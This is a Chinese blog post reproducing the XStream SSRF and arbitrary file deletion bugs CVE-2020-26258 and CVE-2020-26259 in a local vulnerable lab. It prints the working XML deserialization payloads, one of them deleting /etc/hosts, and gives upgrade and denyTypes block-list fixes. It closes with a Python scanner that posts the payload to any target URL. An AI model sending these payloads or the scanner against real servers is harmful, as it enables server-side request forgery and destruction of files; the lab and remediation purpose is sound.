前言

此漏洞是在编写这个月安全通告时候看到的,关于xml的。平时做项目时候也很难碰到有关xml的漏洞,刚好学习下。

正文

漏洞环境:

来自于JoyChou93的代码,这份代码集成了很多java的漏洞环境,非常方便。

编辑器:

Idea

部署环境

首先打开IDEA,通过git clone的方式将项目拉下来

首先要设置maven库的环境,因为idea默认会使用编辑器自带的库环境,如果本机有配置,所以最好配置一下。

配置完成,此时项目会通过pom.xml文件进行下载

根据网络带宽快慢和maven库配置因素,这一步因为maven库配置了阿里云,所以下载得挺快的。

等跑完以后,发现有报错

这里,springboot的插件问题,这里正常会爆红,此时我已经下载好了。如果爆红了,将此处添加一段代码,在重新maven即可

1
2
这里好像是springboot的版本,但是我添加为最新版还是爆红,后面一个版本一个版本的降,直到这个版本才成功。
<version>2.3.4.RELEASE</version>


漏洞复现

要复现的两个漏洞编号为:CVE-2020-26258(SSRF)/CVE-2020-26259(任意文件删除)

官方已经放出Payload

[CVE-2020-26258] SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://localhost:8080/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

[CVE-2020-26259]任意文件删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/etc/hosts</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

首先找到代码中漏洞位置 位于:fist_right:org/joychou/controller/XStreamRce.java

项目直接run起来,因为后面复现阶段需要使用burp,所以将项目运行端口改为了8082

访问localhost:8082后,进入到登录界面

readme文件中有详细给出登录帐号密码

这是登录后的界面,直接访问代码中给出的POST地址的 ‘localhost:8082/xstream’

CVE-2020-26258

该地址需要post请求,所以直接get过去页面是这样的,此时用burp抓包,对其进行复现

将头部GET改为POST,并写入官方给出的PAYLOAD进行测试,返回xstream。证明有漏洞

CVE-2020-26259


结尾

修复建议

升级至 1.4.15 版本,下载链接为:

https://x-stream.github.io/changes.html#1.4.15

临时修补建议
低于 1.4.15 的不同版本用户可以按照以下代码设置黑名单:

  • 使用 XStream 1.4.14 的用户,只需在 XStream 的设置代码中添加两行即可:
1
2
3
xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
12
  • 使用 XStream 1.4.13 的用户,只需在XStream的设置代码中添加三行代码即可:
1
2
3
4
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
123
  • 使用 XStream 1.4.7 到 1.4.12 的用户,需要设置多个黑名单:
1
2
3
4
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });
123
  • 使用 XStream 1.4.6 或更低版本的用户可以注册自己的 Converter ,以防止反序列化当前已知的有危害的 Java 类型。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
xstream.registerConverter(new Converter() {
public boolean canConvert(Class type) {
|type.getName().equals("javax.imageio.ImageIO$ContainsFilter")|type.getName().equals("jdk.nashorn.internal.objects.NativeString")| |
|type == java.lang.Void.class|void.class|Proxy.isProxy(type)|
|type.getName().startsWith("javax.crypto.")|type.getName().endsWith("$LazyIterator")|type.getName().endsWith(".ReadAllStream$FileStream"));|
}


public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}


public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);
1234567891011121314151617

参考

最后

写了一个非常脑残的poc,完全没什么作用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding:utf-8 -*-
"""
@author: Wrpzkb
@file: xstream.py
@time: 2020/12/17 11:33
@desc:
"""

import requests as req
import sys
def verify(target):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",
"Cookie": "JSESSIONID=49C00E15947D0BE97E94317BD2FB184C; remember-me=YWRtaW46MTYwOTM5NDkwMDE5ODpjNWU1OTZmOTAxYzMxZWU3Yzk5YjQyMGU5MzJkNGRkNg; XSRF-TOKEN=741e4dbe-12a4-4751-921e-e52bd7251e77 ",
}
ssrf = """
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://127.0.0.1/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
"""
delete = """
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/etc/hosts</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
"""
resp = req.post(target, headers=headers, data=ssrf,timeout=30, verify=False, allow_redirects=False)
if resp.status_code == 200 and 'xstream' in resp.text :
print (target + ",存在漏洞")
return True
print(target + ",不存在漏洞")
return False

if __name__ == '__main__':
if len(sys.argv) == 1:
print('Usage: python xstream.py http://www.target.com/')
sys.exit()
target = sys.argv[1]
verify(target)